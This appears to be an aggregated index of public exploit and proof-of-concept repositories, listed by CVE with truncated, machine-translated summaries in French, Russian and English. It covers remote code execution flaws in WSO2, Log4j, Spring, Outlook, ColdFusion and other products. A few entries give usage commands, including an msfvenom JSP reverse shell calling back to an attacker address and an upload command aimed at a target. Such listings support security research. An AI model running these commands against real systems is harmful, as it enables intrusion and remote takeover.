CVE-2022-29464

WSO2 - Téléchargement arbitraire de fichier menant à une exécution de commande à distance RCE https://docs.wso2.com/display/Security/Security+Advisory+WSO2-2021-1738 Exemple python3 exploit.py https://target.org:9443 shell.jsp...

CVE-2026-33017

CVE-2026-33017 Langflow RCE ★ CVE-2026-33017 Langflow PoC d'exécution de code à distance ★ https://github.com/user-attachments/assets/562fc637-6be1-4ab9-a396-bfad56447af7 Configuration de l'environnement Utilisez les commandes suivantes pour construire et exécuter l'environnement Langflow...

CVE-2022-24990

CVE-2022-24990 Description - POC pour CVE-2022-24990 : Exécution de commandes à distance non authentifiée sur TerraMaster TOS via l'instanciation d'objets PHP. - créé par antx le 2022-04-12. Détail - La vulnérabilité permet à un attaquant distant d'exécuter des commandes arbitraires sur le...

CVE-2024-21413-Microsoft-Outlook-Remote-Code-Execution-Vulnerability

CVE-2024-21413 | Уязвимость удаленного выполнения кода в Microsoft Outlook PoC 📜 Описание Данный скрипт представляет собой доказательство концепции PoC для уязвимости CVE-2024-21413 — значительной уязвимости безопасности, обнаруженной в Microsoft Outlook, с CVSS 9.8. Эта уязвимость, получившая...

Log4J-RCE-Proof-Of-Concept

Log4J-RCE-Proof-Of-Concept CVE-2021-44228 Это proof of concept эксплуатации уязвимости log4j rce. Вот несколько ссылок по CVE-2021-44228: https://www.lunasec.io/docs/blog/log4j-zero-day https://github.com/advisories/GHSA-jfh8-c2jp-5v3q https://github.com/apache/logging-log4j2/pull/608...

spring4shell-poc

Spring4Shell POC Description of the vulnerability: https://www.cyberkendra.com/2022/03/springshell-rce-0-day-vulnerability.html Construction of the POC: https://github.com/BobTheShoplifter/Spring4Shell-POC Steps to Build/Run Tested with JDK 11.0.14, Spring Boot 2.6.5, and Apache Tomcat 9.0.60 Run...

spring4shell-poc

POC Spring4Shell Description de la vulnérabilité : https://www.cyberkendra.com/2022/03/springshell-rce-0-day-vulnerability.html Construction du POC : https://github.com/BobTheShoplifter/Spring4Shell-POC Étapes pour construire/exécuter Testé avec JDK 11.0.14, Spring Boot 2.6.5 et Apache Tomcat...

CVE-2024-50492

🚨 CVE-2024-50492 - ScottCart 🔥 Script d'exploit pour ScottCart 🧑‍💻 Par Nxploit – Khaled Alenazi 📌 Description Le plugin ScottCart pour WordPress versions ≤ 1.1 est vulnérable à une exécution de code à distance RCE. Cela permet à des attaquants non authentifiés d'exécuter des fonctions PHP...

CVE-2022-48565-POC

CVE-2022-48565 PoC Introduction Ceci est une preuve de concept PoC démontrant la vulnérabilité CVE-2022-48565 , qui est basée sur la désérialisation non sécurisée de fichiers Plist en Python. En traitant des fichiers Property List Plist spécialement conçus, un attaquant peut exécuter du code...

CVE-2024-22120-RCE-with-gopher

Utilisation python exploit.py --ip --sid --hostid --phpsessid --falsetime --truetime Résumé Cet exploit a été créé pour exploiter une XXE XML External Entity. Grâce à cela, j'ai lu le code backend du service web et trouvé un endpoint où je pouvais utiliser gopher pour faire des requêtes internes...

CVE-2020-0796

CVE-2020-0796 Scanner = https://github.com/ButrintKomoni/cve-2020-0796 POC de débordement à distance = https://github.com/jiansiting/CVE-2020-0796 SMBGhostRCEPoC = https://github.com/chompie1337/SMBGhostRCEPoC...

CVE-2020-13151-POC-Aerospike-Server-Host-Command-Execution-RCE-

CVE-2020-13151-POC-Aerospike-Server-Host-Command-Execution-RCE- Référence : https://b4ny4n.github.io/network-pentest/2020/08/01/cve-2020-13151-poc-aerospike.html exploit.py - code python à exécuter...

Unomi-CVE-2020-13942

CVE-2020-13942 Apache Unomi: скрипт эксплуатации уязвимости удаленного выполнения кода Описание уязвимости Apache Unomi — это Java-платформа с открытым исходным кодом для обработки данных. Это Java-сервер, предназначенный для управления данными клиентов, потенциальных клиентов и посетителей, а...

CVE-2017-7525-Jackson-Deserialization-Lab

CVE-2017-7525 Laboratoire de désérialisation non sécurisée en Java Application REST Java basique vulnérable à la désérialisation non sécurisée, conduisant à une exécution de code à distance RCE. Le projet doit être exécuté sur Java 8u45 Basé sur Maven avec les dépendances suivantes :...

CVE-2009-2265

Version : ColdFusion 8.0.1 CVE-2009-2265 msfvenom -p java/jspshellreversetcp LHOST=10.10.14.12 LPORT=4444 -f raw shell.jsp python upload.py 10.10.10.11 8500 shell.jsp Exemple :...

CVE-2020-35476

CVE-2020-35476 Une vulnérabilité d'exécution de code à distance se produit dans OpenTSDB jusqu'à la version 2.4.0 via une injection de commande dans le paramètre yrange. Pas terminé et ne fonctionne pas. La plupart du code est présent, mais la payload doit être corrigée...

CVE-2015-1635-POC

️⃣ CVE-2015-1635-POC Exécution de code à distance dans HTTP.sys MS15-034...

weblogic_honeypot

Honeypot WebLogic Recherche Cymmetria, 2018. https://www.cymmetria.com/ Écrit par : Omer Cohen @omercnet Remerciements spéciaux : Imri Goldberg @lorgandon, Itamar Sher, Nadav Lev Contact : [email protected] Le Honeypot WebLogic est un honeypot à faible interaction conçu pour détecter...

CVE-2018-16763

CVE 2018-16763 Эксплойт Введение PreAuth-RCE на FUEL CMS 1.4.1 Демонстрация Ссылки: https://nvd.nist.gov/vuln/detail/CVE-2018-16763 https://www.exploit-db.com/exploits/47138...

CVE-2019-11043

PoC CVE-2019-11043 Une implémentation Python de l'exploit CVE-2019-11043 L'exploit enregistré sous CVE-2019-11043 exploite un bug dans l'implémentation de PHP-FPM en conjonction avec un serveur NGINX. Dans certaines configurations, une expression régulière dans le pathinfo FastCGI amène le module...